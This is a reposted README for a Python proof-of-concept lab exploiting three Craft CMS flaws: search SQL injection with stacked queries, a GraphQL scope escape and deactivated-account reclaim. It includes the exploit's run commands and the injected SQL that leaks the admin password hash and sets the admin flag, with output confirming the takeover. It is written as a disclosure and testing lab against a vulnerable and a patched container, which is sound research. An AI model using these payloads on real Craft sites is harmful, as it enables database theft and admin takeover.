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CVE-2026-115934-POC — Python PoC lab for three Craft CMS flaws: unauthenticated search SQL injection with stacked queries to admin takeover, GraphQL scope escape, and deactivated-account reclaim. | Kitploit
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GitHubfixedbyreboot/cve-2026-115934-poc

CVE-2026-115934-POC

Python PoC lab for three Craft CMS flaws: unauthenticated search SQL injection with stacked queries to admin takeover, GraphQL scope escape, and deactivated-account reclaim.

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CVE-2026-115934 — Craft CMS search SQL injection to admin takeover (plus the 124427 / 124429 siblings)

Language CVSS 9.8 Critical Affected Status Advisory License

Three vulnerabilities reported against the same Craft CMS release train (4.x < 4.18.9 / 5.x < 5.11.2), built and verified against one lab: one docker compose file runs a vulnerable target (craftcms/cms 4.18.8) and a fixed control (4.18.9) side by side on MariaDB, and poc.py has a mode per CVE. The primary bug is an unauthenticated SQL injection in element search: send search as a PHP array, the attribute key lands raw in the query, and MySQL/MariaDB's emulated prepares let stacked statements execute - read any table, write any table, flip the admin flag on user ID 1 and take the site.

  • Affected: Craft CMS 4.0.0 - 4.18.8 and 5.0.0 - 5.11.1
  • Fixed: 4.18.9 / 5.11.2 (2026-11-08/09)
  • CVSS: 9.8 Critical (CVE-2026-115934), 9.8 (CVE-2026-124427), 8.7 (CVE-2026-124429)
  • Advisory: GHSA-qcvp-ggx3-97r6 (115934)
  • Tested: craftcms/cms 4.18.8 (vulnerable) vs 4.18.9 (control), PHP 8.2, MariaDB 10.11

The three bugs

CVE-2026-115934 - unauthenticated SQLi via craft.search attribute (9.8). Any route feeding request input into an element query search - craft.entries().search(param('search')) in a search-result template is the common case - hands every key of the search bracket-array to SearchQuery::__construct() as default term options. Each parsed term is stamped with those options, and Search::_sqlWhere() interpolates the attribute value into the SQL with only a column-name quote. On MySQL/MariaDB (PDO emulated prepares) the closed fragment executes as stacked statements. Demonstrated end to end: time-based oracle, password-hash read, arbitrary write, UPDATE users SET admin=1, control-panel login as the promoted user.

CVE-2026-124427 - GraphQL prev/next out-of-scope entry read (9.8). prev/next are first-class fields with the full element-query argument set; the resolved criteria flow into Element::_getRelativeElement() and the eager-load path (Elements::eagerLoadElements()) without validation. 4.18.9 adds ElementHelper::cleanseQueryCriteria() to both paths (plus a string check on search), so on 4.18.8 the neighbor query is built from attacker-controlled, uncleaned criteria and the schema scope is not re-applied to it. See the honesty note below on what this lab can and cannot show.

CVE-2026-124429 - public registration reclaims deactivated privileged accounts (8.7). With public registration on, users/save-user resolves an existing user by email with status(null) - deactivated users included - and re-activates the account while setting the attacker-supplied password. A deactivated admin's email is enough to take the account over; no credential or email access needed. The advisory flags requireEmailVerification as the condition; this lab verifies the flag does gate the flow (see control 14).

Preconditions (verified in the lab)

  • MySQL or MariaDB backend (the default). Postgres rejects stacked statements; this repo does not claim it.
  • 115934: one unauthenticated route rendering craft.entries().search(...) / craft.app.search with raw request input. Any public search form.
  • 124427: the GraphQL API enabled with a token whose schema exposes at least one section (the usual headless setup). Single public schema installs without a scope boundary are not affected by the scope-escape variant.
  • 124429: "Allow public registration" on (users.allowPublicRegistration), plus at least one deactivated (inactive) privileged account. Verified: with users.requireEmailVerification on, the same flow leaves the account pending with no access - the flag is the real gate.

Usage

Bring up the lab (first build runs composer twice, ~5 minutes):

docker compose up --build -d
docker compose ps

Vulnerable target on http://127.0.0.1:8081, fixed control on http://127.0.0.1:8082. Seeding (sections, entries, the attacker user, the deactivated admin, the scoped GraphQL schema + token, registration settings) runs automatically on first boot.

Run the PoC against the vulnerable target, then the control:

python3 poc.py --check-url --url http://127.0.0.1:8081   # print the request, send nothing
python3 poc.py --url http://127.0.0.1:8081 --mode check   # time-based oracle (CVE-2026-115934)
python3 poc.py --url http://127.0.0.1:8081 --mode read    # stacked read: admin password hash
python3 poc.py --url http://127.0.0.1:8081 --mode write   # stacked write: arbitrary marker
python3 poc.py --url http://127.0.0.1:8081 --mode admin   # admin flag + CP takeover
python3 poc.py --url http://127.0.0.1:8081 --mode graphql # CVE-2026-124427 scope contrast
python3 poc.py --url http://127.0.0.1:8081 --mode reclaim # CVE-2026-124429 account reclaim
python3 poc.py --url http://127.0.0.1:8081 --control-url http://127.0.0.1:8082 --mode all

Flags: --mode picks the CVE/step; --delay is the oracle sleep (default 3); --prefix the DB table prefix (default craft); --user/--password the seeded attacker account for admin; --token the seeded GraphQL token (labpoc-token-0123456789abcdef); --control-url reruns the flow against the patched target for the contrast.

Expected output

Time-based oracle - 72s against the vulnerable target, 0.01s against the control (evidence/01, evidence/02):

[*] time-based oracle: sleep(3) stacked after the attribute
[+] 72.02s -> VULNERABLE

Stacked read - the admin's bcrypt hash rendered from a public page title (evidence/03):

[*] stacked write: update craft_content set title=(select password from craft_users where id=1) where elementId=2
[*] home page titles now: ['Second public post', '$2y$13$80KAxMjJR9ObmrNS7tej5OTaOZVmI9Ex/EzqJmHtMWMubA/EDlM..']
[+] leaked password hash $2y$13$80KAxMjJR9ObmrNS7tej5O... -> DB READ CONFIRMED

Admin takeover - flag set, read back through the same injection, control panel login as the promoted user (evidence/07; db ground truth in evidence/13 shows labattacker admin=1 on the vulnerable target and admin=0 on the control):

[*] stacked write: update craft_users set admin=1 where username='labattacker'
[*] home page titles now: ['Second public post', '1']
[+] admin flag read back via SQLi: True (1 = admin flag set)
[*] CP /admin/dashboard as labattacker: HTTP 200, <title>Dashboard - Lab Site</title>
[+] control panel accessible as the promoted user -> ADMIN TAKEOVER CONFIRMED

GraphQL scope contrast (evidence/09, evidence/10): the direct out-of-scope query returns an empty set on both targets, while the neighbor query with an out-of-scope section argument is processed by 4.18.8 and rejected by 4.18.9.

Account reclaim (evidence/11): registration with the deactivated admin's email, control-panel login with the attacker-chosen password, dashboard 200. Control evidence/14 shows the same flow with requireEmailVerification=true: the account lands pending, login fails.

Why it works

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